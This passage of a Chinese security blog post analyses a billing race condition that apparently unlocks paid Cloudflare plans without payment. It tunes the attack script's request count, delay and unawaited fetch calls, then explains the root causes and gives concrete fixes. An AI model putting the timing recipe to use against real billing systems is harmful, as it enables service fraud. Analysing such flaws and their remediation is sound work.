&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;billing_cycle&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;monthly&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;annual&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;payment_method_id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;xxx&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;payment_method_id&lt;/code&gt; 指向一个无效或余额为零的支付方式——前端通过了，但后端支付网关会拒绝。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;③ &lt;code&gt;for (let i = 0; i &amp;lt; 10; i++)&lt;/code&gt; —— 为什么是 10 次？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;10 次 × 100ms 间隔 = 约 1 秒的持续攻击。后端支付校验的典型延迟在 200-800ms（支付网关回调超时）。10 次请求覆盖了这一秒内的多个时间切片，确保至少有 1-2 次落在&amp;quot;权限已写、账单未回&amp;quot;的临界窗口内。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;④ &lt;code&gt;fetch().then()&lt;/code&gt; 而非 &lt;code&gt;await fetch()&lt;/code&gt; —— “请求波&amp;quot;技巧&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(...))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(...));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里没有 &lt;code&gt;await&lt;/code&gt;。主循环每 100ms 发出一个 &lt;code&gt;fetch&lt;/code&gt; 就立即进入下一轮——不等待响应。效果是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;请求像机枪一样连续发射，互不阻塞&lt;/li&gt;
&lt;li&gt;在同一瞬间可能有 2-3 个请求同时在网络层飞行&lt;/li&gt;
&lt;li&gt;服务端同时面对多个并发请求，后端线程池被瞬间占满，状态机的原子性更容易被打破&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果改成 &lt;code&gt;await fetch()&lt;/code&gt;，请求严格串行——第一个收到 403/回滚之后再发第二个，窗口期已过。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;⑤ &lt;code&gt;await delay(100)&lt;/code&gt; —— 间隔时间的工程计算&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;太短（&amp;lt; 50ms）&lt;/strong&gt;：浏览器同域并发限制通常是 6 个，超过的请求会在浏览器层排队，实际上达不到并发效果；同时服务端可能触发 rate limiting&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;太长（&amp;gt; 500ms）&lt;/strong&gt;：支付回调已完成，权限已被回滚，后续请求全是&amp;quot;送人头”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;100ms&lt;/strong&gt;：恰好落在浏览器并发安全区（10 次 × 100ms 不会瞬间占满 6 槽位），同时窗口覆盖回滚延迟&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;⑥ 控制台日志的视觉心理学&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;%c 开始执行...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;color: #007aff; font-weight: bold;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;%c 脚本执行完毕...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;color: #34c759; font-weight: bold;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;开头用蓝色 &lt;code&gt;#007aff&lt;/code&gt;（iOS 系统蓝，冷色调、技术感），降低操作紧张情绪。结尾用绿色 &lt;code&gt;#34c759&lt;/code&gt;（iOS 成功绿），暗示操作完成且成功。这不是随意选的——操作者心理暗示是漏洞利用的一部分。&lt;/p&gt;
&lt;h3 id="攻击时序图"&gt;攻击时序图
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;时间轴 ──────────────────────────────────────────────────►
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;请求1: POST /append ──► 权限写入 ✓ ──► 支付校验启动...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;请求2: POST /append ──► 权限写入 ✓ ──► 支付校验启动...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;请求3: POST /append ──► 权限写入 ✓ ──► 支付校验启动...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [支付回调到达 ── 全部失败，触发回滚]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;请求4: POST /append ──► 权限写入 ✓（部分数据库副本未完成回滚）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;请求5: POST /append ──► 权限写入 ✓（MVCC 快照隔离，读旧版本）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;请求6: POST /append ──► 权限写入 ✓（补偿任务被排队，延迟执行）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ·
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ·
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ·
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;结果：权限表状态 = Pro/Business ✓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 账单表状态 = 未支付 / Free ✓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 控制面板显示 = Free ✓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 实际功能 = Pro/Business ✓ ← 量子叠加态
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="五为什么这个漏洞能成立四个必须同时满足的条件"&gt;五、为什么这个漏洞能成立？——四个必须同时满足的条件
&lt;/h2&gt;&lt;p&gt;从代码层面还原，这个漏洞成立必须满足以下四个条件：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;条件 1：&lt;code&gt;grant_entitlement()&lt;/code&gt; 早于 &lt;code&gt;charge_confirmed()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;后端在处理 &lt;code&gt;Append&lt;/code&gt; 请求时，&lt;code&gt;grant_entitlement()&lt;/code&gt;（权限发放）在同步路径上，而 &lt;code&gt;charge_confirmed()&lt;/code&gt;（支付确认）被放入异步队列。代码结构类似于：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function handleAppend(req):
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; grant_entitlement(req.plan_id) // 同步，立即执行
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; async_queue.enqueue(charge(req)) // 异步，排队执行
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return 200 OK // 前端收到&amp;#34;成功&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;条件 2：缺少幂等键（Idempotency Key）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;同一个 &lt;code&gt;Append&lt;/code&gt; 请求可以被重放多次，每次都进入完整的处理逻辑。如果有 &lt;code&gt;Idempotency-Key&lt;/code&gt;，第二次重放会直接返回&amp;quot;请求已处理&amp;quot;，竞态窗口就不存在了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;条件 3：权限与账单不在同一事务边界&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;权限表（&lt;code&gt;entitlements&lt;/code&gt;）和账单表（&lt;code&gt;billing_records&lt;/code&gt;）很可能是两个独立的微服务，没有共享的事务上下文。回滚操作依赖异步消息队列（如 Kafka），存在延迟。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;条件 4：补偿任务的执行延迟或漏执行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;支付失败后触发的 &lt;code&gt;compensate()&lt;/code&gt;（补偿回滚）是通过定时任务或消息队列异步执行的。在高并发冲击下，补偿消息可能被积压、丢弃，或者补偿逻辑本身没有做到幂等重试。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="六为什么这类漏洞总在-saas-平台反复出现"&gt;六、为什么这类漏洞总在 SaaS 平台反复出现？
&lt;/h2&gt;&lt;p&gt;这不是 Cloudflare 一家的问题。从 Stripe 的早期 API 设计到各种 SaaS 订阅系统，类似模式反复出现。根本原因有三：&lt;/p&gt;
&lt;h3 id="1-计费被当成业务功能而非安全边界"&gt;1. 计费被当成&amp;quot;业务功能&amp;quot;而非&amp;quot;安全边界&amp;quot;
&lt;/h3&gt;&lt;p&gt;登录、鉴权链路通常有严格的原子性设计和审计要求。但计费链路——直接涉及资金和权限——常见异步拼接和弱一致性。组织的安全边界画错了地方。&lt;/p&gt;
&lt;h3 id="2-先开后付的产品本能"&gt;2. “先开后付&amp;quot;的产品本能
&lt;/h3&gt;&lt;p&gt;产品团队追求&amp;quot;丝滑体验”：用户点一下，权限立刻生效，支付在后台慢慢跑。这在 99.9% 的场景下是好的设计，但留下了 0.1% 的异常窗口——安全研究者追逐的正是这 0.1%。&lt;/p&gt;
&lt;h3 id="3-分布式系统的一致性税"&gt;3. 分布式系统的一致性税
&lt;/h3&gt;&lt;p&gt;当 Entitlement Service 和 Billing Service 是独立微服务时，跨服务事务天然需要 Saga 或 2PC。如果补偿机制设计不完善，就会出现&amp;quot;权限已售出、资金未到账&amp;quot;的状态缝隙。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="七修复方案可落地"&gt;七、修复方案（可落地）
&lt;/h2&gt;&lt;h3 id="1-强制先支付后授权"&gt;1) 强制先支付后授权
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;// ❌ 漏洞路径
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;POST /append → grant_entitlement() → async charge() → compensate if fail
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;// ✅ 修复路径
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;POST /append → charge() → on charge_confirmed → grant_entitlement()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;权限发放只响应 &lt;code&gt;charge_confirmed&lt;/code&gt; 事件。未确认的请求停留在 &lt;code&gt;pending&lt;/code&gt; 状态，前端可轮询。&lt;/p&gt;
&lt;h3 id="2-引入幂等键"&gt;2) 引入幂等键
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;POST /append
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Header: Idempotency-Key: &amp;lt;uuid&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;// 服务端：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if (idempotency_store.exists(key)):
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return cached_response // 不重复处理
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Stripe 的标准实践。同一键只允许一次状态推进，并发 100 次只处理 1 次。&lt;/p&gt;
&lt;h3 id="3-单事务或-saga-强补偿"&gt;3) 单事务或 Saga 强补偿
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;权限与账单落库在同一数据库事务内完成&lt;/li&gt;
&lt;li&gt;跨服务使用 Saga 模式，每步有对应的 &lt;code&gt;compensate&lt;/code&gt; 操作&lt;/li&gt;
&lt;li&gt;补偿必须是&lt;strong&gt;可重试、可审计、有告警&lt;/strong&gt;的——不能依赖&amp;quot;定时扫表&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-运行时二次校验"&gt;4) 运行时二次校验
&lt;/h3&gt;&lt;p&gt;在 WAF 规则配置、图片优化等关键能力入口，实时查询账单状态，不仅依赖&amp;quot;历史已授权&amp;quot;标记。每次 API 调用都是检查点：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;handleWafRule() {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if (!billing_service.isProActive(user)) {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return 403;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; // ... 正常处理
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="5-风控检测"&gt;5) 风控检测
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;同一账户 1 秒内超过 3 次 &lt;code&gt;Append&lt;/code&gt; 触发人工审核&lt;/li&gt;
&lt;li&gt;支付失败后 30 秒内锁定升级接口&lt;/li&gt;
&lt;li&gt;对短时密集相同请求进行限速和熔断&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="八结语"&gt;八、结语
&lt;/h2&gt;&lt;p&gt;表面看这是一个&amp;quot;白嫖漏洞&amp;quot;，本质上是分布式系统中&lt;strong&gt;状态一致性&lt;/strong&gt;的经典问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;对研究者&lt;/strong&gt;：关注点从&amp;quot;能不能绕过&amp;quot;升级为&amp;quot;为什么能绕过&amp;quot;，定位状态机缺陷比找到具体利用更有价值。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对平台方&lt;/strong&gt;：计费系统是安全边界的一部分。&lt;strong&gt;一致性设计 = 资金安全 + 品牌安全&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对工程师&lt;/strong&gt;：每一次&amp;quot;异步优化体验&amp;quot;都是一次风险成本评估。先开后付很舒服，但补偿路径必须铁板钉钉。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;安全研究的真正价值，不是放大利用，而是让系统变得更难被利用。&lt;/p&gt;
&lt;hr&gt;</description></item></channel></rss>